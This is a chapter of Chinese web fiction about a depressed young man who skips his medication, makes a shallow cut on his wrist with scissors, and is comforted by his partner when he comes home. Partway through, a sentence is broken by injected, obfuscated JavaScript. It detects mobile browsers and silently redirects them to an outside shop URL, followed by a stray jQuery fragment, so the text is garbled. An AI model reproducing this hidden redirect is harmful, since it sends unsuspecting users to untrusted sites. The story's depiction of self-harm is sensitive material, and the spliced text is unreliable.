那天夜里，苌斓第一次没有吃药。不是忘了，是故意没吃。他把忘海分装好的药盒握在手心里，看着那三格白色、淡蓝、淡粉的药片，忽然觉得它们像一群沉默的证人，每天都在提醒他同一件事——你是病人，你需要被修补。他厌倦了被修补。他把药盒放回床头柜上，关掉台灯，躺在黑暗里，等着那个梦来找他。
梦来了。不是养母撕小票，不是小灰在流血，是忘海。梦里的忘海站在天台边缘，背对着他，围巾被风吹得猎猎作响。他喊他的名字，忘海没有回头。他跑过去，伸手去抓他的手腕，指尖刚碰到那条灰色围巾的边缘，忘海就消失了。他抓了个空，手心只攥住一把冰冷的夜风。他在梦里跪在天台上，声嘶力竭地喊，但喉咙里发不出任何声音。他醒来的时候枕头湿透了，后背全是冷汗。窗外的梧桐树在夜风里摇晃，光秃秃的枝丫投在窗帘上，像无数只伸向他的手指。
那种感觉又回来了——不是抑郁，不是狂躁，是更深更冷的东西。像一根生锈的铁链从脚踝一路缠上来，勒进骨头缝里，每一个环都刻着不同的名字：被撕碎的购物小票、被冲进下水道的药片、被摔死的小灰、被红漆喷满的墙壁、紫砂杯碎瓷片锋利的边缘、养母在电话里说“你亲爹亲妈早就死了”、日记最后一页夹着的那张照片上三个人的笑容。他是被偷来的孩子，被诅咒的名字，被撕碎又拼好的纸。他不想再被拼好了。
他掀开被子，赤脚踩在地板上，走到书桌前。忘海的针线盒还放在桌角，旁边是重新绕好的毛线球，灰色的。他拉开抽屉，里面是那枚戒指、拼好的购物小票、几张便签，还有那张被踩扁又重新绕好的毛线球。他把这些东西一件一件拿出来，整整齐齐地排列在桌面上，像在陈列一个无人认领的遗物展。然后他拿起忘海的剪刀，看着自己左手腕上那道浅白色的旧疤——那是初中时在雪地上摔的，是孙昊推的，是他自己爬起来去医务室包扎的。现在他可以再添一道，更深的一道。没有人会再推他，没有人会再打他，这一次是他自己的选择。
他的手指很稳。剪刀的刃口压进皮肤的时候，他想起的不是养母的脸，不是那些拳脚和辱骂，而是忘海。忘海在天台上按住他流血的伤口，手抖得比他还厉害；忘海在布沙发上缝他的袖口，针脚细密整齐；忘海在急救室门口把脸埋进掌心里，肩膀无声地颤抖。他忽然很想知道，忘海现在在哪里。在加班，在画图，还是在回家的路上。他放下剪刀，拿起手机，给忘海发了一条消息。
“还在加班吗。”
忘海几乎是秒回。“在。刚开完会。你怎么还没睡。”
“睡不着。想你。”
忘海发了一个小人靠在墙边的表情，旁边跟着一颗红心。他说，马上到家，给你带了夜宵，小馄饨。
苌斓看着那行字，眼泪终于流了下来。他把剪刀放回针线盒里，用袖子擦了擦手腕上的血迹——很浅，只破了皮，剪刀刃不够锋利，他也没有用全力。他把父亲留下的戒指戴在左手无名指上，大小刚好。然后他把桌面上的东西一件一件放回抽屉里：戒指、小票、便签、毛线球。关上抽屉，他把忘海的灰色围巾从衣架上取下来，裹在肩膀上。那条围巾是多年前母亲织的，边缘有一小块暗红色的痕迹，是他在天台上摔伤时流的血，洗过很多次，还是有一点淡淡的影子。围巾末端有几针脱了线，是那次养母闯入时扯脱的，忘海还没来得及缝。他把脱线的线头绕在指尖上，绕了很多圈，然后坐在沙发上，看着窗外的梧桐树。灯光把枝丫的轮廓印在玻璃上，像一幅墨色的剪影。他想起很多年前那个雪天，他躺在天台上，血从后脑勺流出来染红了雪，然后有一只很热很热的手按住了他的伤口。那只手现在还在这座城市里，正拎着一碗小馄饨走在回家的路上。
门锁转动。忘海推开门，手里拎着打包盒，围巾被夜风吹得乱糟糟的。他看到苌斓坐在沙发上，裹着他的围巾，左手无名指上戴着父亲那枚戒指。然后他看到了床头柜上药盒里原封未动的那一格药片，看到了针线盒旁边那把剪刀，看到
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17724403|208790||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
了剪刀刃上那一丝极淡的血迹。他把小馄饨放在茶几上，走过去在苌斓面前蹲下来，握住他的左手，看着那道新的很浅很浅的口子，没有说话。他的手指在轻轻发抖，和那年在天台上按住伤口时一模一样。
苌斓低着头，声音很轻，轻得像一片落在围巾上的雪。“我只是想试试。试试那把剪刀快不快。不快。我没有用力。”他顿了顿，又说，“我想你。想你在加班，想你会不会突然回来，想你带的是什么馅的小馄饨。然后我又想，如果我死了，你就不会每天这么累了。你每天分装药盒，提醒我吃药，带我去复查，半夜被我吵醒——你活了一百多世，什么场面没见过，但每一世都得从头再来一次，重新照顾一个废人。”
忘海握着他的手，低下头，把额头抵在苌斓戴着戒指的那只手上，很久没有抬起来。他的肩膀在轻轻颤抖，但声音很稳，和每次在路口说“红枣茶，八颗”时一样平稳。
“你不是废人。你是苌斓。斑斓的斓。这个名字是你亲生父亲起的，他把最美好的字都给了你。小灰死了，你把它埋在楼下的梧桐树下面，每年春天都开一树的花。药没吃，明天早上我陪你一起吃。围巾脱线了，我来缝。”
他抬起头，看着苌斓的眼睛。
“照顾你不是负担。从来都不是。我没有觉得累，我只是害怕。我害怕哪天回到家，你不在。我害怕那只手没有拉住你。”
苌斓看着他，眼泪无声地滑下来。他伸出手，用袖子把忘海脸上的泪擦掉。窗外夜风停了，梧桐树安静地立在路灯下，枝丫纹丝不动。茶几上的小馄饨还冒着热气，苌斓拿起勺子，舀了一个，吹了吹，放进嘴里。是鲜肉馅的，汤底有紫菜和虾皮，和高中时忘海养母做的一模一样。他说，好吃。忘海也拿起勺子，坐在他旁边，两人并肩把一碗小馄饨分着吃完。
明天早上路口的梧桐树下会有人等他，保温杯里会放八颗红枣，围巾会缝好。他今天没有死，明天也不会。他还可以撑下去。他们会一起撑下去。